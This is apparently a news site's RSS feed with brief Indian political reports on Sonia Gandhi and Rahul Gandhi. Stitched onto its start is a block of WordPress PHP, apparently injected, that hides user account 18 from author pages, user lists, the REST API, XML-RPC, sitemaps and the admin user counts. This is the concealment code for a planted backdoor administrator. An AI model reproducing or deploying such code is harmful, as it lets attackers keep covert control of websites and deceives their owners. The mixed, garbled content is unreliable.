add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sonia Gandhi Informs “No Resignation”, Will Continue Staying As Congress Chief appeared first on The Edge Media.
]]>The Congress’ highest decision-making body has come up with a plan and would convene a ‘chinatan shivir’ soon after parliament’s cabinet meeting, following which the CWC will convene again, according to general secretary KC Venugopal.
The post Sonia Gandhi Informs “No Resignation”, Will Continue Staying As Congress Chief appeared first on The Edge Media.
]]>The post I’m a Kashmiri Pandit who understands the suffering of the community: Rahul Gandhi appeared first on The Edge Media.
]]>Since he is a Kashmiri Pandit, Congress leader Rahul Gandhi said on Friday that Jammu & Kashmir holds a particular place in his heart. Rahul, who is in Jammu for a two-day visit, stated that his Kashmiri roots make him feel at ease whenever he visits the region.
Former Congress president Rahul Gandhi promised to help his “Kashmiri Pandit brothers.” He said that he is a member of the Kashmiri Pandit group and understands their suffering. Soon after the eruption of violence in the region in the early 1990s, Kashmiri Pandits were compelled to move to Jammu and other states. Gandhi slammed the BJP-led federal government, accusing it of making false promises to Kashmiri Pandits.
The post I’m a Kashmiri Pandit who understands the suffering of the community: Rahul Gandhi appeared first on The Edge Media.
]]>The post GDP means Higher Gas, Diesel, and Fuel Prices: Rahul’s Strike at the Centre appeared first on The Edge Media.
]]>Farmers, laborers, small enterprises, MSMEs salaried class are being demonetized, while Prime Minister’s buddies are being monetized, Rahul Gandhi remarked at a news conference. In the last seven years, the government has allegedly made Rs 23 lakh crore by raising gas, diesel, and petrol prices, according to the former Congress chief.
The post GDP means Higher Gas, Diesel, and Fuel Prices: Rahul’s Strike at the Centre appeared first on The Edge Media.
]]>